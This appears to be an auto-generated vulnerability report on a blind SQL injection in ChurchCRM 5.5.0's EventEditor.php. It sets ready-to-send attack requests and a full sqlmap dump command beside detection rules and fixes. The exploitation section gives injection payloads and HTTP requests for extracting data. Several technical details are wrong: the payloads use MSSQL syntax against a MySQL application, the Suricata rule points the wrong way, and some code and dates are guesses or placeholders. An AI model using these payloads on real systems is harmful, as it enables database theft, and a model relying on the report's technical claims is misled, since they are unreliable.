CVE-2024-25894

Executive Summary

CVE-2024-25894 is a critical Blind SQL Injection (Time-based) vulnerability discovered in ChurchCRM version 5.5.0. The flaw resides in the /EventEditor.php endpoint, specifically within the EventCount POST parameter. An unauthenticated attacker can exploit this vulnerability to execute arbitrary SQL queries against the backend database, potentially leading to data exfiltration, authentication bypass, or complete compromise of the application and its data. The vulnerability is classified as a Blind SQL Injection because the attacker does not receive direct error messages or data output; instead, they infer the success of the injection by observing time delays in the server's response. This technique allows for the systematic extraction of sensitive information from the database, including user credentials, personal data, and configuration details. The EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis, but the risk remains high due to the potential impact and the lack of an official patch.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. ChurchCRM is a standalone PHP application. The risk is primarily to the application's own codebase and its underlying database.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions or complex attack sequences are required.
• Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
• User Interaction (UI): None (N) - The victim does not need to perform any action.
• Scope (S): Unchanged (U) - The vulnerability affects only the vulnerable component.
• Confidentiality (C): High (H) - Complete disclosure of all database contents is possible.
• Integrity (I): High (H) - The attacker can modify or delete data in the database.
• Availability (A): High (H) - The attacker can disrupt database operations, potentially leading to denial of service.

Threat Level: Critical. The combination of network exploitability, no authentication requirement, and the potential for full database compromise makes this a high-priority vulnerability for any organization using ChurchCRM 5.5.0.

Deep Dive & Mechanics

The vulnerability is a classic time-based blind SQL injection. The EventCount parameter in /EventEditor.php is directly concatenated into an SQL query without proper sanitization or parameterization. The application likely uses a query similar to:

INSERT INTO events (event_count) VALUES ($_POST['EventCount']);

An attacker can inject SQL code that causes a time delay, such as:

1; IF (1=1) WAITFOR DELAY '0:0:5'--

If the server takes 5 seconds to respond, the attacker knows the injection is successful. They can then use conditional statements to extract data character by character. For example:

1; IF (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' WAITFOR DELAY '0:0:5'--

By observing which queries cause a delay, the attacker can reconstruct the entire database schema and contents.

The vulnerability is "blind" because the application does not return the results of the SQL query directly. The attacker must use time-based or boolean-based techniques to infer information.

Vulnerable vs. Patched Code

Vulnerable Code (ChurchCRM 5.5.0):

The vulnerable code likely exists in /EventEditor.php and directly uses the $_POST['EventCount'] value in an SQL query.

<?php
// Vulnerable code
$eventCount = $_POST['EventCount'];
$query = "INSERT INTO events (event_count) VALUES ('$eventCount')";
$result = mysqli_query($connection, $query);
?>

Patched Code (Hypothetical):

A secure implementation would use prepared statements or parameterized queries to separate SQL logic from user input.

<?php
// Patched code using prepared statements
$eventCount = $_POST['EventCount'];
$stmt = $connection->prepare("INSERT INTO events (event_count) VALUES (?)");
$stmt->bind_param("s", $eventCount);
$stmt->execute();
?>

The key difference is that the patched code treats the EventCount value as data, not as executable SQL code. This prevents any injected SQL from being interpreted by the database.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install ChurchCRM 5.5.0 on a local server (e.g., using XAMPP or a Docker container).
2. Ensure the application is accessible via a web browser.
3. Use a tool like Burp Suite or OWASP ZAP to intercept and modify HTTP requests.

Exploitation Steps:

1. Identify the vulnerable endpoint: Send a POST request to /EventEditor.php with a normal EventCount parameter to confirm the application is working.
2. Test for time-based injection: Send a request with a time-delay payload:

   POST /EventEditor.php HTTP/1.1
   Host: target-churchcrm.local
   Content-Type: application/x-www-form-urlencoded
   
   EventCount=1; IF (1=1) WAITFOR DELAY '0:0:5'--
   

   If the response takes approximately 5 seconds, the injection is confirmed.
3. Extract database information: Use a script or tool like sqlmap to automate the extraction. For manual extraction, use conditional time delays:

   POST /EventEditor.php HTTP/1.1
   Host: target-churchcrm.local
   Content-Type: application/x-www-form-urlencoded
   
   EventCount=1; IF (SELECT SUBSTRING(DB_NAME(),1,1))='c' WAITFOR DELAY '0:0:5'--
   

   By iterating through characters, you can determine the database name, table names, column names, and data.

Example sqlmap command:

sqlmap -u "http://target-churchcrm.local/EventEditor.php" --data="EventCount=1" --technique=T --time-sec=5 --batch --dump

Blue Team (Defensive)

Detection:

• Monitor for HTTP POST requests to /EventEditor.php with unusually long EventCount parameters.
• Look for patterns in the EventCount parameter that include SQL keywords like IF, WAITFOR, DELAY, SELECT, UNION, etc.
• Detect time-based anomalies: multiple requests from the same IP address that take significantly longer than normal (e.g., > 3 seconds).

Prevention:

• Apply input validation: Ensure EventCount is a numeric value. Reject any request where the parameter contains non-numeric characters.
• Use a Web Application Firewall (WAF) to block SQL injection patterns.
• Implement parameterized queries in the application code (as shown in the patched code section).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /EventEditor.php with EventCount parameter containing SQL keywords (e.g., WAITFOR, DELAY, IF, SELECT).
  • Unusually long response times (e.g., > 3 seconds) for POST requests to /EventEditor.php.
  • Multiple requests from the same source IP address to /EventEditor.php with varying EventCount values.

• Host IOCs:

  • Unusual database queries in the MySQL/MariaDB slow query log (e.g., queries with WAITFOR DELAY or SLEEP() functions).
  • Unexpected database errors in the application logs (though this is a blind injection, errors may occur if the injection fails).
  • New or modified database entries that appear to be the result of data exfiltration.

• File IOCs:

  • Suspicious entries in web server access logs (e.g., POST /EventEditor.php HTTP/1.1 with a long query string).

Detection Engineering

YARA Rule

rule CVE_2024_25894_Blind_SQLi_ChurchCRM {
    meta:
        description = "Detects potential blind SQL injection attempts targeting ChurchCRM EventEditor.php"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-25894"
        severity = "critical"
    strings:
        $sqli_pattern1 = /EventCount=.*(WAITFOR|DELAY|SLEEP|BENCHMARK)/i
        $sqli_pattern2 = /EventCount=.*(IF|CASE|WHEN).*(SELECT|UNION)/i
        $sqli_pattern3 = /EventCount=.*(0x[0-9a-fA-F]+|CHAR\(|CONCAT)/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-25894 Blind SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to ChurchCRM EventEditor.php with SQL injection patterns in the EventCount parameter.
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-25894
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/EventEditor.php'
        cs-uri-query|contains: 'EventCount='
    keywords:
        - 'WAITFOR'
        - 'DELAY'
        - 'SLEEP'
        - 'BENCHMARK'
        - 'IF'
        - 'CASE'
        - 'WHEN'
        - 'SELECT'
        - 'UNION'
    condition: selection and keywords
falsepositives:
    - Legitimate use of the word "delay" in a non-malicious context (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-25894 - Blind SQL Injection Attempt on ChurchCRM EventEditor.php";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/EventEditor.php"; http_uri;
    content:"EventCount="; http_client_body;
    pcre:"/(WAITFOR|DELAY|SLEEP|BENCHMARK|IF|CASE|WHEN|SELECT|UNION)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If possible, take the ChurchCRM instance offline or restrict network access to trusted users only.
2. Apply input validation: Implement a WAF rule to block requests to /EventEditor.php where the EventCount parameter contains non-numeric characters.
3. Monitor logs: Actively monitor web server and database logs for signs of exploitation.

Long-Term Fix:

1. Patch the code: Modify /EventEditor.php to use prepared statements or parameterized queries for all database interactions. The EventCount parameter should be treated as a numeric value.
2. Upgrade ChurchCRM: Check for a patched version from the vendor. If no patch is available, consider migrating to a different church management solution.
3. Conduct a security audit: Perform a thorough code review of the entire application to identify and fix other potential vulnerabilities.

Valters IT Signature

This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For more information, visit Valters IT.